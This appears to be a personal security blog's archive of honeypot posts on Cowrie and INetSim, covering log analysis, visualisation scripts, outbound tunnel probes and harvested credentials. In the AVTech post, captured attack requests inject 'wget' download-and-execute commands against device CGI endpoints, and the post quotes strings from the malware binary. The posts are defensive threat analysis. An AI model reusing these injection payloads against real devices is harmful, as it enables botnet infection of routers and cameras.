Archive for the ‘honeypot’ tag

Updating wordlists from Elasticsearch  

Posted at 8:34 am in Uncategorized

Among the many benefits of running a honeypot is gathering the credentials intruders try in order to log in. As explained in some earlier blog posts, my Cowrie honeypots are redirecting secondary connections to another honeypot running INetSim. For example, an intruder logged in to a Cowrie honeypot may use the established foothold to make further attempts towards other services. INetSim regularly logs various attempts to create fake Facebook profiles, log in to various mail accounts, and submit product reviews.


Top 15 hostnames that honeypot intruders try to submit data to


INetSim activity is obviously tracked as well, which means that login credentials used by Cowrie intruders to gain further access elsewhere will also be stored. I’m logging all honeypot activity to Elasticsearch for easy analysis and for making nice visualizations.


Most recent usernames and passwords used by intruders


Real passwords are always nice to have for populating wordlists used for e.g. password quality assurance, as dictionary attacks are often more efficient than bruteforcing. For this purpose I’m maintaining a local password list extracted from Elasticsearch. With the recent addition of the SQL interface, this extraction process was easy to script.


TODAY=$(date +%Y.%m.%d)

echo "select \"cowrie.password\" from \"logstash-${TODAY}\" \
 where \"cowrie.password\" is not null;" \
 | /usr/share/elasticsearch/bin/elasticsearch-sql-cli 2>&1 \
 | tail -n +7 | head -n -1 | sort -u \
 | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' \
 | while read p; do
   grep -qax "${p}" ${PASSFILE} || echo "$p" | tee -a ${PASSFILE}

echo "select \"password\" from \"logstash-${TODAY}\" \
 WHERE \"service\" IS NOT NULL AND \"password\" IS NOT NULL\
 AND MATCH(tags, 'inetsim');" \
 | /usr/share/elasticsearch/bin/elasticsearch-sql-cli 2>&1 \
 | tail -n +7 | head -n -1 | sort -u \
 | sed -e 's/^[[:space:]]*//' -e 's/[[:space:]]*$//' \
 | while read p; do
   grep -qax "${p}" ${PASSFILE} || echo "$p" | tee -a ${PASSFILE}


This script (although with some more pipes and filters) is regularly run by cron, continuously adding more fresh passwords to the local wordlist.

Written by bjorn on November 13th, 2018

Tagged with , , , , , , ,

Control code usernames in telnet honeypot  

Posted at 9:19 am in Uncategorized

By running a Cowrie honeypot, I’m gathering interesting information about various kinds of exploits, vulnerabilities, and botnets. Upon a discovery of a new Linux-based vulnerability – often targeting network routers, IoT devices, and lately many IP camera products – the botnets will usually come in waves, testing the new exploits.

The honeypot logs everything the intruders to. In addition to extracting and submitting useful indicators to threat intelligence resources like VirusTotal and AlienVault’s Open Threat Exchange, I’m processing the logs in an Elastic stack for graphing and trending. As shown below, there’s a section of the Kibana dashboard that details activity by time range and geolocation, and I’m also listing the top 10 usernames and passwords used by intruders trying to gain access.

Parts of my Cowrie dashboard in Kibana

Parts of my Cowrie dashboard in Kibana

This morning I briefly checked the top 10 usernames tag cloud when something unusual caught my eye.

KIbana username tag cloud

It wasn’t the UTF rectangle added to the “shell” and the “enable” user names, these are really shell\u0000, enable\u0000, sh\u0000 and are appearing quite frequently nowadays. What caught my eye was this tiny, two-character username, looking like an upside-down version of the astrological sign for Leo and a zigzag arrow.

Weird username from tag cloud

Upon closer inspection, the username is actually \u0014\t\t\u0012 – “Device Control 4”, two TABs, and “Device Control 2”.

One of the passwords used with this username was \u0002\u0003\u0000\u0007\u0013 – visualized in Kibana as follows:

Other passwords from the same IPs also include different control codes, beautifully visualized by Kibana as shown below:

From the Cowrie logs, the first occurrences in my honeynet were 2017-12-16. Exactly what kind of vulnerability these control codes are targeting is not known to me yet, but I am sure we will find out over the next few days.

Written by bjorn on December 21st, 2017

Tagged with , , , , , , , ,

Yet another Mirai strain targeting AVTech devices  

Posted at 8:21 am in Uncategorized

My Suricata IDS triggered on an HTTP request to my honeypot this morning:

ET WEB_SERVER Suspicious Chmod Usage in URI


Further investigation revealed this incoming request:

 POST /cgi-bin/supervisor/CloudSetup.cgi?exefile=wget%20-O%20/tmp/Arm1%20http://172.247.x.y:85/Arm1;chmod%200777%20/tmp/Arm1;/tmp/Arm1 HTTP/1.1
 Host: [redacted]
 Connection: keep-alive
 Accept-Encoding: gzip, deflate
 Accept: */*
 User-Agent: python-requests/2.13.0
 Content-Length: 0
 Authorization: Basic YWRtaW46YWRtaW4=


The request seems to take advantage of a vulnerability in AVTech devices, described here, here and here (and elsewhere).

URL decoding the query string yields the following commands (formatted for readability, and URL redacted to avoid accidental downloads):

wget -O /tmp/Arm1 http://172.247.x.y:85/Arm1
chmod 0777 /tmp/Arm1


In other words, the request will trick the targeted device into downloading a file, changing the file’s permissions, and excute it locally. The Arm1 file identifies as follows:

Arm1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped


The IP address performing the request,, belongs to a company in Hong Kong (but registered with Korea Telecom). The IP from which the binary is downloaded,, seems to belong to a U.S. cloud provider. At the time of writing, no antivirus provider used by VirusTotal knows anything about the URL or the downloaded file, and the anlyz malware analysis sandbox finds nothing wrong with it. However, judging from the nature of the request I think it’s safe to assume that this is most likely malicious, possibly another Mirai strain or something equivalent.

This blog post will be updated with more details. A full packet capture is available, but since the request only reached my honeypot it won’t be very useful.


Update #1: An additional request

I’ve seen additional requests, trying to download the same file but probably through a different vulnerability. This is the request – a GET instead of the previous POST:

GET /cgi-bin/;wget%20-O%20/tmp/Arm1%20http://172.247.a.b:8080/Arm1;chmod%200777/tmp/Arm1;/tmp/Arm1 HTTP/1.1


For this request, the requesting IP ( is registered to the same Hong Kong company and the IP hosting the ARM binary ( belongs to the same U.S. cloud provider.


Update #2: The binary’s content

The ARM binary seems to include some kind of proxy which seems to be named “wake”, including wrapper scripts. Using strings(1), the script excerpts below are found from the binary:

 while true;do
 server=`netstat -nlp | grep :39999`
 if [ ${#server} -eq 0 ] ; then
 nohup %s -c 1 &
sleep 5



# Provides: wake
# Required-Start: $remote_fs
# Required-Stop: $remote_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: Start or stop the HTTP Proxy.
case "$1" in
 nohup /usr/bin/wake -c 1 &


Judging from the scripts, the “wake” proxy listens on port 39999. The IP address (GorillaServers, Inc., US) is also seen in the binary.


Update #3: Other observations

Some IPs in the same ranges as well as similar download URLs are reported as seen in other peoples’ honeypots as well, along with the ARM binary’s hashes.


Update #4: detux

Among other things, analyzing the binary in detux confirms the mentioned IP address, finding it will connect to The IP and socket are available and listening but gives no sensible response. Best guess: Command and control station.

Written by bjorn on February 27th, 2017

Tagged with , , , , , ,

How to produce AfterGlow diagrams from Cowrie  

Posted at 9:34 am in Uncategorized

I’ve been receiving a few questions on how to produce the AfterGlow diagrams from Cowrie logs, described in an earlier blog post. Instead of repeating myself through email requests, an explanation here will be better.

First of all, you will need to decide what you want to visualize. Showing the different attackers targeting a Cowrie honeypot has limited value (and can be visualized with something much simpler than AfterGlow). Showing the next steps of the intruders, however, is a job well suited for AfterGlow.

Based on the intruders’ behaviour in Cowrie, where a few intruders use a limited number of ports to try to connect to multiple target IPs, the CSV input to AfterGlow should reflect this, so we’ll need the following format:



Below is a Cowrie log line showing that the intruder from IP attempts to contact the target IP on port 443 (formatted for readability):

2017-01-16 15:32:30+0100 [SSHService ssh-connection on
HoneyPotSSHTransport,9704,] direct-tcp connection
request to from localhost:5556


To convert this into CSV that AfterGlow will accept, I wrote a short parser script. This can be done in most languages, I used Perl:


use strict;
use warnings;

while (<>) {
 if ($_ =~ /HoneyPotSSHTransport,\d+,(.*?)\].* to (.*?):(\d+) /) {
  print "$1,$3,$2\n"


The Perl code was saved as /usr/local/bin/ on the host running Cowrie.

Since I’m creating the graphs on a different server that where Cowrie is running, I wrote a bash wrapper to tie it all together. Note the quotes that separate what’s run locally and what’s run on the Cowrie server.


MYDATE=$(date +%Y-%m-%d)
if [ "$1" = "yesterday" ]; then
 MYDATE=$(date +%Y-%m-%d -d yesterday)

ssh honeypot "grep '${MYDATE}.*direct-tcp connection request' \
 /home/cowrie/log/cowrie.log* | \
 /usr/local/bin/" | \
 /usr/local/bin/ \
 -c /usr/local/etc/afterglow/ | \
 /usr/bin/neato -T png > \


The file contains my AfterGlow preferences for this kind of diagrams, and contains the following:




Now everything can be added to Cron for continuously updated graphs. I’m running the bash script once an hour through the day, and then just after midnight with the “yesterday” argument so that yesterday’s graphs are completed. These are the contents of /etc/cron.d/cowrie-afterglow:

15  * * * * root /usr/local/bin/
10 00 * * * root /usr/local/bin/ yesterday



Now, depending on the popularity of your honeypot, you may or may not get useful graphs. Below is a graph showing 24 hours of outbound connection attempts from my honeypot, in which case it could make sense to limit the input data.

AfterGlow diagram of Cowrie outbound activity

AfterGlow diagram of Cowrie outbound activity

Written by bjorn on January 17th, 2017

Tagged with , , , , , ,

Beneficial side effects of running a honeypot  

Posted at 11:42 pm in Uncategorized

Spam (the non-electronic version)

I’ve been running a honeypot for quite a while now, it started out as a pure SSH honeypot – first with Kippo and then I migrated to Cowrie. Some time later I added more honeypot services to the unit in the form of InetSim. The InetSim software provides multiple plaintext services like HTTP, FTP, and SMTP, as well as the encrypted versions.

HTTP and FTP are services where the intruders will try to download something from the honeypot, and InetSim will serve them a predefined set of standard sample documents. The HTTP and FTP also allow uploads, in which case any submitted content will be saved for future analysis by the honeypot administrator.

However, the funniest side effect of running InetSim – at least so far – is with its SMTP service. Spammers will happily use this, what they will think is a newly discovered “open relay”, for distributing annoying spam and/or more malicious phishing mail. All the spam they push through the service acting like an MTA will of course be sinkholed (and saved locally), while they most likely believe that they have distributed their content.

As the below table listing the last two weeks’ top 10 most active spammer IPs shows, the most active spammer “successfully delivered” no less than 300 000 spam messages through (or rather to) the honeypot SMTP. The honeypot itself will obviously drop those mails to the ground, and if the software hadn’t done it (or if the attacker had found a way to break out of the honeypot), the honeypot resides in a very strictly controlled environment ensuring that no spam would’ve found its way out anyway.

IP addressNumber of spam mails

While neither spam, phishing mails nor open mail relays are normally laughing matters, I truly enjoy knowing that the spammers have wasted their time with a non-functional mail server believing that they got their job done. One can also hope that the people behind the spam/scam pays for their service.

Written by admin on July 13th, 2016

Tagged with , , , , ,

SSH outbound connections – what are they trying?  

Posted at 10:38 pm in Uncategorized

Still fascinated by the outbound connection attempts from my Cowrie honeypot, I’ve been looking into what the intruders are trying to obtain with the outbound connections. As previously mentioned, there are bots actively attempting outbound connections towards a lot of remote services. Most are simply TCP socket connection attempts, but now and again the connection attempts hold payload data. Payload for encrypted services (SMTPS, HTTPS etc) is already encrypted. That leaves the plaintext services, mostly SMTP and HTTP.

The following Munin graph shows today’s activity. At their busiest, the Russian bots performed outbound connection attempts at a rate of 17 attempts per minute (one per 3-4 seconds).

There are a few attempts to connect to mail servers. The following EHLO greetings, i.e. how the intruders try to introduce the honeypot when connecting, are among the ones observed:









The remaining attempts described here are HTTP requests. The requests are for the web root (GET /) unless otherwise noted. All requests have more headers than what’s shown here, I’ve pruned the less interesting ones for readability.

The bots attempt several requests towards “check my IP” sites, perhaps to check connectivity and/or to detect the outside IP in a NATed environment:







GET /ip.php?i= HTTP/1.1
Accept-Language: ru-RU,ru


GET /showmyip.php HTTP/1.1


Then there are some attempts to reach URL shorteners. Ignoring the fact that these headers are crafted, the Google referers are obviously fake since a Google HTTPS search will not pass the referer to an HTTP site.

GET /make_url.php HTTP/1.1










POST /mod_perl/ HTTP/1.1
X-Requested-With: XMLHttpRequest
Cookie: permasession=145xxxx290|pscxxxxzxq


They’re also trying to connect to Craigslist. These attempts have started to appear the last few days. Note: Parts of the URLs are obfuscated.

GET /reply/eau/m4w/548xxxx413 HTTP/1.1
X-Requested-With: XMLHttpRequest


GET /reply/evv/m4w/550xxxx297 HTTP/1.1


GET /reply/hez/m4w/546xxxx191 HTTP/1.1
User-Agent: Mozilla/5.0 (Nintendo WiiU) AppleWebKit/534.52 (KHTML, like Gecko) NX/ NintendoBrowser/
X-Requested-With: XMLHttpRequest


The function of the below connection attempts are still unexplored:

POST /GetSignedKey_new1.php HTTP/1.0
Connection: keep-alive
User-Agent: Instagram 5.0.0 Windows Phone (8.10.14147.180; 480x320; NOKIA; tAbd_apiM; uk_UA)


User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)



Some statistics describing the honeypot activity the last few weeks, only counting the intruders that are also attempting outbound connections:

Attempts Originating IP


Written by bjorn on March 22nd, 2016

Tagged with , ,

Visualizing honeypot activity  

Posted at 5:02 pm in Uncategorized

Certain honeypot intruders are quite persistently trying to open outbound SSH tunnels, as described in an earlier article. So far I’ve seen a lot of attempts to open tunnels towards mail server TCP ports 25 (SMTP), 465 (SMTPS) and 587 (submission); web servers on TCP ports 80 (HTTP) and 443 (HTTPS); but also several other TCP ports.

For visualizing the activity, I fed the logs to AfterGlow. Below is shown a diagram of attempted SSH tunnels, where the intruders’ IP addresses are shown as red circles, the ports to which they attempt to connect are are light blue, and the targets are yellow triangles.

As the diagram shows, certain targets are attacked from different intruders (although with adjacent IP addresses). The objects’ sizes indicate frequency.


Simple honeypot map (one day only)

Simple honeypot map (one day only, low activity)


Another diagram, illustrating the frequency of attacks:

Medium complexity, still mostly readable.

One day of activity, two attackers. Still mostly readable.


Feeding two weeks of logs to AfterGlow was less informative. The graph clearly shows that certain sources are very busy, and certain destinations are frequently attacked – but that’s about where the diagram stops being useful.

Complex honeypot mapping (two weeks)

Complex honeypot map (two weeks)


In combination with some drill-down details, AfterGlow could be quite useful for analyzing details. I’ve got two items on my AfterGlow wishlist: 1) that labels go on top of objects, and 2) better avoidance logic so that objects do not cover other objects.

The corresponding Munin graph is also registering SSH tunneling attempts.

Honeypot activity

Written by bjorn on February 26th, 2016

Tagged with , , , ,

Honeynet outbound probes  

Posted at 8:42 am in Uncategorized

My Cowrie honeypot is now seeing a surge of outbound SSH tunnel probes, both towards different mail servers but also towards a specific web server, probably with the purpose of informing about a successful intrusion. The honeypot has seen outbound attempts before, but not as persistent as with this bot from .ru.

Cowrie fakes successful SSH tunneling, so the bot is at least kept somewhat busy. The honeypot is also in a very tight network environment with limited possibilities for outbound connections.

Here are some examples, formatted for readability:

2016-02-22 01:43:00+0100 [SSHService ssh-connection on
  HoneyPotTransport,1580,] direct-tcp connection
  request to
2016-02-22 01:43:01+0100 [SSHService ssh-connection on
  HoneyPotTransport,1580,] direct-tcp connection
  request to
2016-02-22 01:43:54+0100 [SSHChannel None (883) on
  SSHService ssh-connection on HoneyPotTransport,1580,]
  direct-tcp forward to with data
2016-02-22 02:00:28+0100 [SSHChannel None (979) on
  SSHService ssh-connection on HoneyPotTransport,1580,]
  direct-tcp forward to with data
  'POST / HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
   Windows NT 5.1; SV1)\r\nContent-Type: application/x-www-form-urlencoded\r\n
   Connection: close\r\nContent-Length: 21\r\nHost:\r\n\r\n'
2016-02-22 03:39:18+0100 [SSHChannel None (0) on
  SSHService ssh-connection on HoneyPotTransport,1589,]
  direct-tcp forward to with data
  'POST / HTTP/1.1\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0;
   Windows NT 5.1; SV1)\r\nContent-Type: application/x-www-form-urlencoded\r\n
   Connection: close\r\nContent-Length: 21\r\nHost:\r\n\r\n


Written by bjorn on February 22nd, 2016

Tagged with , , ,

More Logstalgia fun: Honeypot visualization  

Posted at 7:37 pm in Uncategorized

As the saying goes, when all you have is a hammer, everything looks like a nail. Well, it’s not that bad, but with a tool like Logstalgia available there’s a pretty low threshold for looking for other ways to use it. So why not try visualizing honeypot login activity?

I’ve been running a honeypot for some time, first using Kippo and later switching to Cowrie. Among Cowrie’s useful improvements is the ability to log to syslog. Already having a parser in place for converting syslog activity to a feed that Logstalgia accepts, adding Cowrie-to-Logstalgia support didn’t take much effort.

An additional parameter is added to indicate successful logins (at least from the intruder’s point of view), Logstalgia intuitively shows this by making the paddle not block the attempt. Also, instead of faking some status code, I set up the converter to assign the login name to the “URL” field and the password to the “status code” field. That way Logstalgia shows consecutive attempts with the same login name as a series of attacks on the same resource, while the different attempted passwords bounce off the paddle.

Note that the short video is running at 4x normal speed. You’ll have to click to make it start.

Sample syslog input (slightly redacted for readability):

cowrie: [SSHService ssh-userauth on HoneyPotTransport,446,] login attempt [ts/ts] failed
cowrie: [SSHService ssh-userauth on HoneyPotTransport,447,] login attempt [apache/apache] failed
cowrie: [SSHService ssh-userauth on HoneyPotTransport,448,] login attempt [games/games] failed
cowrie: [SSHService ssh-userauth on HoneyPotTransport,449,] login attempt [minecraft/minecraft] failed


The corresponding Logstalgia feed:



The output was fed to Logstalgia like this:

cat output.txt | logstalgia -600x200 -g "Login,URI=^[a-zA-Z0-9],100" -x -


With live visualization via syslog, the data is fed to Logstalgia directly and not from a file like shown above.

For a nice final touch, I’ve also added a Munin graph showing honeypot login attempts. The graph was made with the “loggrep” plugin, looking for corresponding values.

Written by bjorn on February 9th, 2016

Tagged with , , , , , ,

Localized SSH bruteforce attempts  

Posted at 10:24 pm in Uncategorized

Lately, my honeypot has seen an upsurge in SSH bruteforce login attempts. Among quite a few attackers, one particular IP address in Italy – – is seen more often than the others. I’m seeing login attempts from this IP on other systems as well, so this is a busy one.

What’s funny about this round is that the attackers seem to use localized name lists, as I’ve registered a lot of Norwegian-looking names. The attacker/botnet script tests SSH logins with login name and the number 1 appended to it as a password (e.g. adam / adam1), so if your password is your login name + 1 you should change it ASAP 🙂

It’s also worth noting that there are only boys’ names on the list…

This is the most recent extract:


Written by bjorn on December 18th, 2015

Tagged with , ,